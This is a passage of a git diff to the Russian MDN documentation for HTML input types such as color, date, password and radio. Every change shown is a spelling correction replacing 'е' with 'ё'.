CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>color</code></strong> предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путём ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.</span></p> <p>Представление элемента может существенно отличаться от одного браузера и/или платформы к другой — это может быть простой текстовый ввод, который автоматически проверяет правильность ввода информации о цвете в соответствующем формате, или стандартный для платформы выбор цвета, или какое-то пользовательское окно выбора цвета.</p> @@ -51,10 +51,10 @@ translation_of: Web/HTML/Element/input/color <h2 id="Value">Value</h2> -<p>{{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа <code>color</code> всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранен в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.</p> +<p>{{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа <code>color</code> всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранён в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.</p> <div class="note"> -<p><strong>Примечание:</strong> установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведет к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведет к тому, что цвет будет установлен на #000000.</p> +<p><strong>Примечание:</strong> установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведёт к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведёт к тому, что цвет будет установлен на #000000.</p> </div> <h2 id="Использование_настроек_цвета">Использование настроек цвета</h2> @@ -69,7 +69,7 @@ translation_of: Web/HTML/Element/input/color <p>{{EmbedLiveSample("Providing_a_default_color", 700, 30)}}</p> -<p>Если вы не зададите значение, то по умолчанию будет <code>#000000</code>, то есть черный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зеленый и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придется преобразовать их в шестнадцатеричные перед установкой значения.</p> +<p>Если вы не зададите значение, то по умолчанию будет <code>#000000</code>, то есть чёрный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зелёный и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придётся преобразовать их в шестнадцатеричные перед установкой значения.</p> <h3 id="Отслеживание_изменений_цвета">Отслеживание изменений цвета</h3> @@ -109,7 +109,7 @@ function watchColorPicker(event) { <h2 id="Пример">Пример</h2> -<p>Давайте создадим пример, который делает немного больше с цветом входного сигнала путем отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.</p> +<p>Давайте создадим пример, который делает немного больше с цветом входного сигнала путём отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.</p> <h3 id="HTML">HTML</h3> diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html index c69a1eba71..b743e3bd44 100644 --- a/files/ru/web/html/element/input/date/index.html +++ b/files/ru/web/html/element/input/date/index.html @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/date <h2 id="Значение">Значение</h2> -<p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введенной в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> +<p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введённой в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p> <pre class="brush: html notranslate"><input id="date" type="date" value="2017-06-01"></pre> @@ -123,7 +123,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti <h2 id="Использование_полей_ввода_c_типом_date">Использование полей ввода c типом date</h2> -<p>На первый взгляд, элемент <code><input type="date"></code> выглядит заманчиво — он предоставляет легкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <code><input type="date"></code> в связи с ограниченной поддержкой браузеров.</p> +<p>На первый взгляд, элемент <code><input type="date"></code> выглядит заманчиво — он предоставляет лёгкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <code><input type="date"></code> в связи с ограниченной поддержкой браузеров.</p> <p>В этом разделе мы посмотрим на простые, а затем и более сложные способы использования <code><input type="date"></code>, и позже дадим советы по уменьшению влияния поддержки браузерами (смотрите {{anch("Handling browser support")}}).</p> diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html index 63ad6800fc..7a5f83d340 100644 --- a/files/ru/web/html/element/input/datetime-local/index.html +++ b/files/ru/web/html/element/input/datetime-local/index.html @@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/datetime-local --- <p>{{HTMLRef}}</p> -<p>{{htmlelement("input")}} элемент типа <strong><code>datetime-local</code></strong> создает поля ввода, позволяющие легко ввести дату и время — год, месяц, день, часы и минуты.</p> +<p>{{htmlelement("input")}} элемент типа <strong><code>datetime-local</code></strong> создаёт поля ввода, позволяющие легко ввести дату и время — год, месяц, день, часы и минуты.</p> <p>Интерфейс управления варьируется от браузера к браузеру, на данный момент поддержка носит фрагментарный характер, только с Chrome/Opera и EDGE на рабочем столе — и большинство современных мобильных версиях браузера — наличие полезной реализации. В других браузерах элемент управления сводиться до простого <code><a href="/en-US/docs/Web/HTML/Element/input/text"><input type="text"></a></code>.</p> @@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/datetime-local <p><img alt="" src="https://mdn.mozillademos.org/files/14949/datetime-local-chrome.png" style="display: block; height: 224px; margin: 0px auto; width: 280px;"></p> -<p>В Edge <code>datetime-local</code> элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента <code>date</code> и <code>time</code>, объединенных в один:</p> +<p>В Edge <code>datetime-local</code> элемент управления выглядит как на скриншоте ниже. Клик на дате и времени отобразит два отдельных поля выбора, чтобы Вы могли легко установить дату и время. То есть, по сути, получаем два элемента <code>date</code> и <code>time</code>, объединённых в один:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14953/datetime-local-picker-edge1.png" style="display: block; height: 398px; margin: 0px auto; width: 320px;"></p> @@ -52,14 +52,14 @@ translation_of: Web/HTML/Element/input/datetime-local <h2 id="Значение">Значение</h2> -<p> {{domxref("DOMString")}} представление значения даты, введенной во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:</p> +<p> {{domxref("DOMString")}} представление значения даты, введённой во входные данные. Вы можете установить значение по умолчанию для ввода, включая дату внутри {{htmlattrxref("value", "input")}} атрибута, как:</p> <pre class="brush: html"><label for="party">Enter a date and time for your party booking:</label> <input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30"></pre> <p>{{ EmbedLiveSample('Value', 600, 60) }}</p> -<p>Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического <code>значения</code> — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как дата<code>значение</code> всегда форматируется <code>yyyy-MM-ddThh:mm</code>. Когда значение передается на сервер, например, это будет выглядеть <code>partydate=2017-06-01T08:30</code>.</p> +<p>Одна вещь, чтобы отметить, что отображаемый формат даты отличается от фактического <code>значения</code> — отображаемый формат даты будет выбран на основе установленного языкового стандарта операционной системы пользователя, в то время как дата<code>значение</code> всегда форматируется <code>yyyy-MM-ddThh:mm</code>. Когда значение передаётся на сервер, например, это будет выглядеть <code>partydate=2017-06-01T08:30</code>.</p> <div class="note"> <p><strong>Примечание</strong>: также имейте в виду, что если такие данные поступают через http-запрос Get, двоеточие нужно экранировать для включения в параметры URL, например <code>partydate=2017-06-01T08%3A30</code>.</p> diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html index 08b69b943a..d0045be0cd 100644 --- a/files/ru/web/html/element/input/image/index.html +++ b/files/ru/web/html/element/input/image/index.html @@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/input/image <table class="properties"> <tbody> <tr> - <th scope="row">Разрешенное содержимое</th> + <th scope="row">Разрешённое содержимое</th> <td>Нету, это пустой элемент.</td> </tr> <tr> @@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/image <td>Обязательно должен быть открывающийся тег, и обязательно отсутствует закрывающий.</td> </tr> <tr> - <th scope="row">Разрешенные родительские элементы</th> + <th scope="row">Разрешённые родительские элементы</th> <td>Любой элемент, которому доступен фразообразующий контент (<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>).</td> </tr> <tr> diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html index c949910b8d..d868c942c6 100644 --- a/files/ru/web/html/element/input/index.html +++ b/files/ru/web/html/element/input/index.html @@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/input <dt>{{htmlattrdef("type")}}</dt> <dd>Тип элемента для отображения. Если этот атрибут не указан, по умолчанию используется <code>text</code>. Возможными значениями являются: <ul> - <li><code>button</code>: Кнопка без предопределенного поведения.</li> + <li><code>button</code>: Кнопка без предопределённого поведения.</li> <li><code>checkbox</code>: Флажок («чекбокс»). Следует использовать атрибут <strong>value </strong>для определения значения, которое будет отдано этим элементом. Используйте атрибут <strong>checked</strong>, чтобы указать, должен ли флажок быть выставлен. Можно также использовать атрибут <strong>indeterminate</strong>, чтобы указать, что флажок находится в неопределённом состоянии (на большинстве платформ при этом рисуется горизонтальная линия поперёк флажка).</li> <li><code>color</code>: {{HTMLVersionInline("5")}} Элемент управления цветом. Пользовательский интерфейс выбора цвета не имеет никаких других функций, кроме принятия простых цветов в виде текста (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">больше информации</a>).</li> <li><code>date</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты (год, месяц и день, без времени).</li> @@ -40,11 +40,11 @@ translation_of: Web/HTML/Element/input <li><code>datetime-local</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты и времени без часового пояса.</li> <li><code>email</code>: {{HTMLVersionInline("5")}} Поле для редактирования адреса электронной почты. Перед отправкой проверяется, что входное значение содержит либо пустую строку, либо один действительный адрес электронной почты. Соответствуют CSS псевдоклассам {{cssxref(":valid")}} and {{cssxref(":invalid")}}.</li> <li><code>file</code>: Элемент управления, который позволяет пользователю выбрать файл. Используйте атрибут <strong>accept</strong>, чтобы определить типы файлов, которые могут быть выбраны.</li> - <li><code>hidden</code>: Элемент управления, которые не отображается, но чье значение отправлено на сервер.</li> + <li><code>hidden</code>: Элемент управления, которые не отображается, но чьё значение отправлено на сервер.</li> <li><code>image</code>: Кнопка вставки изображения. Вы должны использовать атрибут <strong>src</strong>, чтобы определить путь к изображению и атрибут <strong>alt</strong> - для определения альтернативного текста. Вы можете использовать атрибуты <strong>height</strong> и <strong>width</strong>, чтобы определить размер вставки изображения в пикселях.</li> <li><code>month</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода месяца и года без часового пояса.</li> <li><code>number</code>: {{HTMLVersionInline("5")}} Элемент управления ввода числа(тип <strong>float</strong>).</li> - <li><code>password</code>: Однострочное текстовое поле, чье значение скрыто символом "звездочка". Используйте атрибуты <strong>minlength</strong> и <strong>maxlength</strong>, чтобы указать минимальную и максимальную длину значения, которое может быть введено. + <li><code>password</code>: Однострочное текстовое поле, чьё значение скрыто символом "звёздочка". Используйте атрибуты <strong>minlength</strong> и <strong>maxlength</strong>, чтобы указать минимальную и максимальную длину значения, которое может быть введено. <div class="blockIndicator note">Любые формы, в которых присутствует важная информация(например, пароль), должны быть обработаны через HTTPS; в настоящий момент Firefox реализует составной механизм предупреждения, направленные против небезопасных форм для входа в систему - смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>.</div> </li> <li><code>radio</code>: Кнопка-переключатель, позволяет выбрать одно значение из множественного выбора.</li> @@ -63,12 +63,12 @@ translation_of: Web/HTML/Element/input Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости..</li> <li><code>text</code>: Однострочное текстовое поле. Переносы строк автоматически удаляются из входного значения.</li> <li><code>time</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода значения времени без часового пояса.</li> - <li><code>url</code>: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введенное значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введенного значения. Можно использовать такие атрибуты как <strong>pattern</strong> или <strong>maxlength</strong>, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.</li> + <li><code>url</code>: {{HTMLVersionInline("5")}} Поле для редактирования URI. Введённое значение должно содержать либо пустую строку, либо допустимый абсолютный URL. В противном случае значение не будет принято. Переводы строк, лидирующие и завершающие пробельные символы будут автоматически удалены из введённого значения. Можно использовать такие атрибуты как <strong>pattern</strong> или <strong>maxlength</strong>, чтобы ограничить вводимые значения. Псевдоклассы CSS {{cssxref(":valid")}} and {{cssxref(":invalid")}} применяются при необходимости.</li> <li><code>week</code>: {{HTMLVersionInline("5")}} Элемент управления для ввода даты, содержащей число неделя-год и номер недели без часового пояса.</li> </ul> </dd> <dt>{{htmlattrdef("accept")}}</dt> - <dd>В случае, если значением атрибута <strong>type</strong> является <code>file</code>, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделенным запятыми:</dd> + <dd>В случае, если значением атрибута <strong>type</strong> является <code>file</code>, данный атрибут определяет типы файлов, которые сервер может принять. В противном случае файл игнорируется. Значение должно быть списком уникальных спецификаторов типов содержания, разделённым запятыми:</dd> <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt> <dd>Одиночный символ, который пользователь может нажать, чтобы переключить фокус на элемент управления.</dd> <dt>{{htmlattrdef("mozactionhint")}} {{non-standard_inline}}</dt> @@ -143,7 +143,7 @@ translation_of: Web/HTML/Element/input </ul> </dd> <dt>{{htmlattrdef("list")}} {{HTMLVersionInline("5")}}</dt> - <dd>В атрибуте указывает <code>id</code> элемента {{HTMLElement("datalist")}}, в котором находится список предопределенных значений для заполнения. Браузер отображает только те варианты, которые соответствуют введенным символами. Этот атрибут игнорируется, когда атрибут <strong>type</strong> принимает значения <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> в качестве кнопки.</dd> + <dd>В атрибуте указывает <code>id</code> элемента {{HTMLElement("datalist")}}, в котором находится список предопределённых значений для заполнения. Браузер отображает только те варианты, которые соответствуют введённым символами. Этот атрибут игнорируется, когда атрибут <strong>type</strong> принимает значения <code>hidden</code>, <code>checkbox</code>, <code>radio</code>, <code>file</code>, или <strong>type</strong> в качестве кнопки.</dd> <dt>{{htmlattrdef("max")}} {{HTMLVersionInline("5")}}</dt> <dd>The maximum (numeric or date-time) value for this item, which must not be less than its minimum (<strong>min</strong> attribute) value.</dd> <dt>{{htmlattrdef("maxlength")}}</dt> diff --git a/files/ru/web/html/element/input/number/index.html b/files/ru/web/html/element/input/number/index.html index 0ee9046649..b9f77cd132 100644 --- a/files/ru/web/html/element/input/number/index.html +++ b/files/ru/web/html/element/input/number/index.html @@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/input/number <h2 id="Value">Value</h2> -<p>{{jsxref("Number")}}, представляющий значение введенного числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> +<p>{{jsxref("Number")}}, представляющий значение введённого числа. Вы можете установить значение по умолчанию, вставив значение в атрибут {{htmlattrxref("value", "input")}}, например:</p> <pre class="brush: html notranslate"><input id="number" type="number" value="42"></pre> diff --git a/files/ru/web/html/element/input/password/index.html b/files/ru/web/html/element/input/password/index.html index e745967864..b76c628f81 100644 --- a/files/ru/web/html/element/input/password/index.html +++ b/files/ru/web/html/element/input/password/index.html @@ -11,9 +11,9 @@ translation_of: Web/HTML/Element/input/password --- <div>{{HTMLRef}}</div> -<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>"password"</code></strong> предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенен, чтобы его нельзя было прочитать, как правило, путем замены каждого символа другим символом, таким как звездочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.</span></p> +<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>"password"</code></strong> предоставляют пользователю возможность безопасного ввода пароль. Элемент представлен как однострочный текстовый редактор, в котором текст затенён, чтобы его нельзя было прочитать, как правило, путём замены каждого символа другим символом, таким как звёздочка ("*") или точка ("•"). Этот символ будет меняться в зависимости от {{Glossary("user agent")}} и {{Glossary("OS")}}.</span></p> -<p>Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и легкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.</p> +<p>Особенности работы процесса ввода могут отличаться от браузера к браузеру; мобильные устройства, например, часто отображают вводимый символ на мгновение, прежде чем закрывать его, чтобы позволить пользователю быть уверенным, что они нажали клавишу, которую они хотели нажать; это полезно, учитывая небольшой размер клавиш и лёгкость, с которой может быть нажата неправильная, особенно на виртуальных клавиатурах.</p> <div class="note"> <p>Любые формы, содержащие конфиденциальную информацию, такую как пароли (например, формы входа), должны обслуживаться через HTTPS; В Firefox теперь реализованы несколько механизмов для предупреждения от небезопасных форм входа в систему - см. <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Insecure_passwords">Небезопасные пароли</a>. Другие браузеры также реализуют аналогичные механизмы.</p> @@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/password <h2 id="Значения">Значения</h2> -<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь еще ничего не указал, это значение представляет собой пустую строку (<code>""</code>). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.</p> +<p>Атрибут {{htmlattrxref("value", "input")}} содержит {{domxref("DOMString")}} , значение которого является текущим содержимым элемента редактирования текста, используемого для ввода пароля. Если пользователь ещё ничего не указал, это значение представляет собой пустую строку (<code>""</code>). Если указано свойство {{htmlattrxref("required")}}, то поле ввода пароля должно содержать значение, отличное от пустой строки, которое должно быть действительным.</p> <p>Если указан атрибут {{htmlattrxref("pattern", "input")}}, содержимое элемента управления <code>"password"</code> считается действительным только в том случае, если значение проходит проверку; см. {{anch("Validation")}} для получения дополнительной информации.</p> @@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/input/password <h2 id="Использование_полей_ввода_пароля">Использование полей ввода пароля</h2> -<p>Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введенный контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.</p> +<p>Поля ввода пароля обычно работают так же, как и другие текстовые поля ввода; основное отличие состоит в том, чтобы скрывать введённый контент, чтобы люди, не знакомые с пользователем, не могли прочитать его пароль.</p> <h3 id="Простое_поле_ввода_пароля">Простое поле ввода пароля</h3> @@ -83,7 +83,7 @@ translation_of: Web/HTML/Element/input/password <dt><code>"off"</code></dt> <dd>Запрещает браузеру или менеджеру паролей автоматически заполнять поле пароля.</dd> <dt><code>"current-password"</code></dt> - <dd>Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это дает больше информации, чем <code>"on"</code>, так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.</dd> + <dd>Разрешить браузеру или менеджеру паролей вводить текущий пароль для сайта. Это даёт больше информации, чем <code>"on"</code>, так как позволяет браузеру или менеджеру паролей знать, что в настоящее время известен пароль для сайта в поле, а не используется новый.</dd> <dt><code>"new-password"</code></dt> <dd>Разрешить браузеру или менеджеру паролей автоматически вводить новый пароль для сайта. Он может быть автоматически сгенерирован на основе других атрибутов элемента управления или может просто указать браузеру представить виджет «предлагаемого нового пароля».</dd> </dl> @@ -106,7 +106,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Указание_режима_ввода">Указание режима ввода</h3> -<p>Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определенного запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.</p> +<p>Если ваше приложение лучше обслуживается с использованием другого режима ввода, чем по умолчанию, вы можете использовать атрибут {{htmlattrxref("inputmode", "input")}} для определённого запроса. Наиболее очевидным вариантом использования является то, что ваше приложение использует в качестве пароля числовое значение (например, ПИН). Например, мобильные устройства с виртуальными клавиатурами могут переключаться на макет цифровой клавиатуры вместо полной клавиатуры, чтобы облегчить ввод пароля.</p> <pre class="brush: html"><label for="pin">ПИН:</label> <input id="pin" type="password" inputmode="numeric"></pre> @@ -115,7 +115,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Настройка_длины_пароля">Настройка длины пароля</h3> -<p>Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырех и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.</p> +<p>Как обычно, вы можете использовать атрибуты {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}}, чтобы установить минимальную и максимальную допустимую длину пароля , Этот пример дополняет предыдущий, указав, что PIN-код пользователя должен быть не менее четырёх и не более восьми цифр. Атрибут {{htmlattrxref("size", "input")}} используется для обеспечения того, чтобы элемент управления ввода пароля имел ширину в восемь символов.</p> <pre class="brush: html"><label for="pin">ПИН:</label> <input id="pin" type="password" inputmode="numeric" minlength="4" @@ -144,13 +144,13 @@ translation_of: Web/HTML/Element/input/password <p>{{EmbedLiveSample("Selecting_text", 600, 40)}}</p> -<p>Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошел (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенен, их полезность несколько ограничена.</p> +<p>Вы также можете использовать {{domxref("HTMLInputElement.selectionStart", "selectionStart")}} и {{domxref("HTMLInputElement.selectionEnd", "selectionEnd")}}, чтобы получить (или установить), какой диапазон символов в элементе управления, и {{domxref("HTMLInputElement.selectionDirection", "selectionDirection")}}, чтобы узнать, какой выбор направления произошёл (или будет расширен в зависимости от вашей платформы, см. его документацию для объяснения) , Однако, учитывая, что текст затенён, их полезность несколько ограничена.</p> <h2 id="Валидация">Валидация</h2> -<p>Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введенного пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.</p> +<p>Если ваше приложение имеет ограничения по набору символов или любые другие требования для фактического содержимого введённого пароля, вы можете использовать атрибут {{htmlattrxref("pattern", "input")}}, чтобы установить регулярное выражение, чтобы автоматически гарантировать, что ваши пароли соответствуют этим требованиям.</p> -<p>В этом примере допустимы только значения, состоящие как минимум из четырех и не более восьми шестнадцатеричных цифр.</p> +<p>В этом примере допустимы только значения, состоящие как минимум из четырёх и не более восьми шестнадцатеричных цифр.</p> <div id="Validation_sample1"> <pre class="brush: html"><label for="hexId">Hex ID:</label> @@ -163,7 +163,7 @@ translation_of: Web/HTML/Element/input/password <dl> <dt>{{htmlattrdef("disabled")}}</dt> <dd> - <p>Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключенные значения полей не отправляются с формой.</p> + <p>Этот Boolean атрибут указывает, что поле пароля недоступно для взаимодействия. Кроме того, отключённые значения полей не отправляются с формой.</p> </dd> </dl> @@ -171,7 +171,7 @@ translation_of: Web/HTML/Element/input/password <h3 id="Запрос_номера_социального_страхования">Запрос номера социального страхования</h3> -<p>В этом примере принимается только ввод, который соответствует формату <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">действительного номера социального страхования Соединенных Штатов</a>. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.</p> +<p>В этом примере принимается только ввод, который соответствует формату <a href="https://en.wikipedia.org/wiki/Social_Security_number#Structure">действительного номера социального страхования Соединённых Штатов</a>. Эти цифры, используемые для целей налогообложения и идентификации в США, представлены в форме «123-45-6789». Также существуют различные правила, для которых допустимы значения в каждой группе.</p> <h4 id="HTML_2">HTML</h4> @@ -183,7 +183,7 @@ translation_of: Web/HTML/Element/input/password <label for="ssn">Value:</label> <span id="current"></span></pre> -<p>Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введенное значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.</p> +<p>Здесь используется {{htmlattrxref("pattern", "input")}} , который ограничивает введённое значение строками, представляющими номера юридической информации Социальной защиты. Очевидно, что это регулярное выражение не гарантирует действительный SSN, но гарантирует, что число может быть единым; он обычно избегает недопустимых значений. Кроме того, он позволяет разделять три группы цифр пробелом, тире ("-") или ничем.</p> <p>В {{htmlattrxref("inputmode", "input")}} установлено значение <code>"number"</code>, чтобы побудить устройства с виртуальными клавиатурами переключаться на макет цифровой клавиатуры для облегчения ввода. Для атрибутов {{htmlattrxref("minlength", "input")}} и {{htmlattrxref("maxlength", "input")}} установлено значение 9 и 12 соответственно, чтобы требовалось, чтобы значение было не менее девяти и не более 12 символов (первый не разделяет символы между группами цифр и последними с ними). Атрибут {{htmlattrxref("required", "input")}} используется для указания того, что этот элемент управления должен иметь значение. Наконец, {{htmlattrxref("autocomplete", "input")}} установлен <code>"off"</code>, чтобы избежать попыток установить пароли менеджеров паролей.</p> diff --git a/files/ru/web/html/element/input/radio/index.html b/files/ru/web/html/element/input/radio/index.html index 76bd790484..00cf8262fe 100644 --- a/files/ru/web/html/element/input/radio/index.html +++ b/files/ru/web/html/element/input/radio/index.html @@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/input/radio <p>{{ EmbedLiveSample('Basic_example', 600, 30) }}</p> -<p>Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удаленный репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам запрос на включение сделанных вами изменений «pull request».</p> +<p>Исходный код к данному интерактивному примеру находиться на GitHub репозитории. Если вы желаете внести свой вклад в проект интерактивных примеров, то склонируйте удалённый репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a>и отправьте нам запрос на включение сделанных вами изменений «pull request».</p> <p>Радиокнопки называются так потому, что выглядят и функционируют в схожей манере с кнопками старомодных радиоприёмников, подобных представленному ниже. </p> @@ -155,7 +155,7 @@ form.addEventListener("submit", function(event) { <h2 id="Использование_радиокнопок">Использование радиокнопок</h2> -<p>Мы уже осветили основные моменты работы с радиокнопками выше. Давайте рассмотрим другие распространенные функции и методы, связанные с использованием радиокнопок, о которых Вам нужно 